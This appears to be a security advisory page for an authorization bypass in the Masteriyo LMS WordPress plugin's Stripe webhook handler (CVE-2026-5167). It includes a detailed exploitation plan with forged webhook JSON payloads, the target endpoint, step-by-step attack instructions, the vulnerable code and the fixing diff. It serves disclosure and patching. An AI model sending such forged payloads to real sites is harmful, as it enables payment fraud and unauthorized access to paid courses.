Masteriyo LMS <= 2.1.7 - Unauthenticated Authorization Bypass to Arbitrary Order Completion via Stripe Webhook Endpoint
Description
The Masteriyo LMS – Online Course Builder for eLearning, LMS & Education plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in versions up to and including 2.1.7. This is due to insufficient webhook signature verification in the handle_webhook() function. The webhook endpoint processes unauthenticated requests and only performs signature verification if both the webhook_secret setting is configured AND the HTTP_STRIPE_SIGNATURE header is present. Since webhook_secret defaults to an empty string, the webhook processes attacker-controlled JSON payloads without any verification. This makes it possible for unauthenticated attackers to send fake Stripe webhook events with arbitrary order_id values in the metadata, mark any order as completed without payment, and gain unauthorized access to paid course content.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.1.7What Changed in the Fix
Changes introduced in v2.1.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5167 - Masteriyo LMS Authorization Bypass ## 1. Vulnerability Summary The **Masteriyo LMS** plugin (versions <= 2.1.7) contains an authorization bypass in its Stripe webhook handling logic. The vulnerability resides in the `Masteriyo\Addons\Stripe\StripeAddon:…
Show full research plan
Exploitation Research Plan: CVE-2026-5167 - Masteriyo LMS Authorization Bypass
1. Vulnerability Summary
The Masteriyo LMS plugin (versions <= 2.1.7) contains an authorization bypass in its Stripe webhook handling logic. The vulnerability resides in the Masteriyo\Addons\Stripe\StripeAddon::handle_webhook() function.
The core issue is a "fail-open" logic in signature verification. The plugin only attempts to verify the Stripe-Signature header if a webhook_secret is configured in the plugin settings and the signature header is provided in the request. By default, the webhook_secret is an empty string. If an attacker sends a request without the signature header or targets a site with no secret configured, the plugin skips verification entirely and processes the JSON payload. An attacker can thus supply a forged Stripe event (e.g., checkout.session.completed) containing an arbitrary order_id in the metadata, causing the plugin to mark the order as "Completed" and grant access to paid courses without payment.
2. Attack Vector Analysis
- Endpoint:
POST /wp-admin/admin-ajax.php?action=masteriyo_stripe_webhook - Authentication: Unauthenticated (registered via
wp_ajax_nopriv_masteriyo_stripe_webhook). - Payload Format: JSON in the HTTP Request Body (Raw POST).
- Vulnerable Parameter:
data.object.metadata.order_id(within the JSON payload). - Preconditions:
- The Stripe addon must be active (it is a core-distributed addon in newer versions).
- A valid
order_id(post ID of amasteriyo_order) must be known or guessed.
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest hitsadmin-ajax.phpwith theaction=masteriyo_stripe_webhookparameter. - Hook Execution: WordPress triggers the action
wp_ajax_nopriv_masteriyo_stripe_webhook, which callsMasteriyo\Addons\Stripe\StripeAddon->handle_webhook(). - Missing Verification: Inside
handle_webhook():- The code fetches the
webhook_secretusingSetting::get( 'webhook_secret' ). - It checks if the
HTTP_STRIPE_SIGNATUREheader is present. - If the secret is empty (default) or the header is missing, it bypasses the
Stripe\Webhook::constructEvent()call (which would otherwise validate the payload).
- The code fetches the
- Processing Payload: The code parses the raw POST body:
$payload = json_decode( file_get_contents( 'php://input' ), true );. - Authorization Bypass: It extracts the
order_idfrom$payload['data']['object']['metadata']['order_id']. - Sink: The plugin calls internal order completion logic (likely
masteriyo_update_order_statusor similar) to change the status of themasteriyo_orderpost tocompleted.
4. Nonce Acquisition Strategy
According to the vulnerability description and standard webhook implementation patterns, the masteriyo_stripe_webhook AJAX action does not require a WordPress nonce.
- Webhooks are designed for external service consumption (Stripe), which cannot generate or provide WordPress nonces.
- The registration in
init_hooks()confirms this:add_action( 'wp_ajax_masteriyo_stripe_webhook', array( $this, 'handle_webhook' ) ); add_action( 'wp_ajax_nopriv_masteriyo_stripe_webhook', array( $this, 'handle_webhook' ) ); - Standard AJAX security (
check_ajax_referer) is absent in these specific handlers.
5. Exploitation Strategy
Step 1: Create a Pending Order
As an unauthenticated user, navigate to a course page and initiate a checkout to create a masteriyo_order in "Pending" status.
- Alternatively, use WP-CLI to identify an existing pending order for testing.
Step 2: Forge the Stripe Webhook Payload
Construct a JSON payload that mimics a successful Stripe Checkout Session completion.
Payload Template:
{
"id": "evt_fake_123",
"object": "event",
"type": "checkout.session.completed",
"data": {
"object": {
"id": "cs_test_fake",
"object": "checkout.session",
"payment_status": "paid",
"status": "complete",
"metadata": {
"order_id": "REPLACE_WITH_ACTUAL_ORDER_ID"
}
}
}
}
Step 3: Execute the Bypass
Send the payload to the AJAX endpoint using http_request.
- URL:
http://[target]/wp-admin/admin-ajax.php?action=masteriyo_stripe_webhook - Method:
POST - Headers:
Content-Type: application/json(Do NOT includeStripe-Signature). - Body: The JSON payload from Step 2.
6. Test Data Setup
- Create Course: Create a paid course in Masteriyo.
wp post create --post_type=masteriyo-course --post_title="Premium Course" --post_status=publish
- Set Price: Ensure the course has a price associated so an order is required.
- Create Order: Manually create a pending order for a test user or capture one via the frontend.
wp post create --post_type=masteriyo_order --post_status=masteriyo-pending --post_title="Order #123"- Note the returned ID (e.g.,
123).
7. Expected Results
- The server should return a
200 OKor204 No Contentresponse (or a JSON success message common in AJAX handlers). - The internal order status for the specified
order_idwill transition frommasteriyo-pendingtomasteriyo-completed. - The user associated with the order (or the guest email) will be granted enrollment in the course.
8. Verification Steps
After the http_request, verify the database state using WP-CLI:
# Check the post status of the order
wp post get [ORDER_ID] --field=post_status
# Expected: masteriyo-completed (or just 'completed' depending on internal mapping)
Check enrollment:
# Check if the user ID associated with the order now has enrollment meta
wp post list --post_type=masteriyo-enrollment
9. Alternative Approaches
If checkout.session.completed is not the specific event handled by the version under test, try other common Stripe events used by the plugin:
payment_intent.succeededcharge.succeeded
Adjust the JSON path for order_id accordingly (e.g., $payload['data']['object']['metadata']['order_id'] vs $payload['metadata']['order_id']). Based on StripeAddon.php context, metadata is usually nested within the object field in Stripe's V1 API events.
Payload Variant (payment_intent.succeeded):
{
"type": "payment_intent.succeeded",
"data": {
"object": {
"id": "pi_fake_123",
"metadata": {
"order_id": "REPLACE_WITH_ACTUAL_ORDER_ID"
}
}
}
}
Summary
The Masteriyo LMS plugin is vulnerable to an authorization bypass because it fails to strictly enforce Stripe webhook signature verification. If the webhook secret is not configured or the signature header is missing, the plugin falls back to processing unverified JSON payloads, allowing unauthenticated attackers to mark any order as completed and gain access to paid courses.
Vulnerable Code
// addons/stripe/StripeAddon.php (v2.1.7) public function handle_webhook() { try { masteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) ); $sig_header = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null; $payload = @file_get_contents( 'php://input' ); // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged $event = null; $order = null; $webhook_secret = Setting::get_webhook_secret(); if ( empty( $payload ) ) { masteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) ); throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 ); } if ( ! empty( $webhook_secret ) ) { if ( empty( $sig_header ) ) { masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) ); throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 ); } if ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) { $event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret ); } else { $event = \Stripe\Event::constructFrom( json_decode( $payload, true ) ); } } else { masteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) ); $event = \Stripe\Event::constructFrom( json_decode( $payload, true ) ); } if ( ! $event ) { masteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) ); throw new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 ); }
Security Fix
@@ -109,6 +109,7 @@ add_action( 'wp_ajax_masteriyo_stripe_connect', array( $this, 'stripe_connect' ) ); add_action( 'admin_head', array( $this, 'save_stripe_account' ) ); + add_action( 'masteriyo_admin_notices', array( $this, 'show_webhook_secret_notice' ) ); add_filter( 'masteriyo_migrations_paths', array( $this, 'append_migrations' ) ); } @@ -565,84 +566,71 @@ try { masteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) ); - $sig_header = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null; - $payload = @file_get_contents( 'php://input' ); // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged - $event = null; - $order = null; - $webhook_secret = Setting::get_webhook_secret(); - - if ( empty( $payload ) ) { - masteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) ); - throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 ); - } - - if ( ! empty( $webhook_secret ) ) { - if ( empty( $sig_header ) ) { - masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) ); - throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 ); - } + // Validate and parse webhook request. + $sig_header = $this->get_stripe_signature_header(); + $payload = $this->get_webhook_payload(); - /** - * Filters whether to validate the webhook secret or not. - * - * @since 1.14.0 - */ - if ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) { - $event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret ); - } else { - $event = \Stripe\Event::constructFrom( json_decode( $payload, true ) ); - } - } else { - masteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) ); - $event = \Stripe\Event::constructFrom( json_decode( $payload, true ) ); - } - - if ( ! $event ) { - masteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) ); - throw new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 ); - } + // Verify webhook signature and construct event. + $event = $this->construct_and_verify_webhook_event( $payload, $sig_header ); - $result = array(); - if ( masteriyo_starts_with( $event->type, 'payment_intent' ) ) { - $payment_intent = $event->data->object; + // Process webhook event. + $result = $this->process_webhook_event( $event ); - if ( ! $payment_intent ) { - masteriyo_get_logger()->error( 'Stripe webhook payment intent is null.', array( 'source' => 'payment-stripe' ) ); - throw new Exception( esc_html__( 'Payment intent is null.', 'learning-management-system' ), 400 ); - } - - if ( isset( $payment_intent->metadata->order_id ) ) { - $order_id = $payment_intent->metadata->order_id; - $order = masteriyo_get_order( $order_id ); - $result = $this->handle_payment_intent_webhook( $event, $order ); - } - } - masteriyo_get_logger()->info( 'Stripe webhook completed.', array( 'source' => 'payment-stripe' ) ); + masteriyo_get_logger()->info( 'Stripe webhook completed successfully.', array( 'source' => 'payment-stripe' ) ); wp_send_json_success( $result ); } catch ( UnexpectedValueException $e ) { masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) ); - if ( $order ) { - $order->add_order_note( - esc_html__( 'Stripe invalid event type.', 'learning-management-system' ) - ); - } - - wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() ); + wp_send_json_error( array( 'message' => $e->getMessage() ), 400 ); } catch ( SignatureVerificationException $e ) { masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) ); - if ( $order ) { - $order->add_order_note( - esc_html__( 'Stripe webhook signature verification failed.', 'learning-management-system' ) - ); - } - - wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() ); + wp_send_json_error( array( 'message' => $e->getMessage() ), 403 ); + } catch ( Exception $e ) { + masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) ); + $http_code = in_array( $e->getCode(), array( 400, 403, 404, 500 ), true ) ? $e->getCode() : 400; + wp_send_json_error( array( 'message' => $e->getMessage() ), $http_code ); } }
Exploit Outline
1. Identify a pending Masteriyo order ID (e.g., by initiating a checkout for a course). 2. Construct a JSON payload that mimics a Stripe `payment_intent.succeeded` or `checkout.session.completed` event. 3. In the payload's metadata field, set the `order_id` to the target pending order ID. 4. Send an unauthenticated POST request to the WordPress AJAX endpoint: `/wp-admin/admin-ajax.php?action=masteriyo_stripe_webhook`. 5. Omit the `Stripe-Signature` HTTP header in the request. 6. Because the plugin defaults to skipping verification when the header is missing or the secret is unconfigured, it will parse the JSON via `Stripe\Event::constructFrom` and proceed to update the order status to 'completed', granting enrollment access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.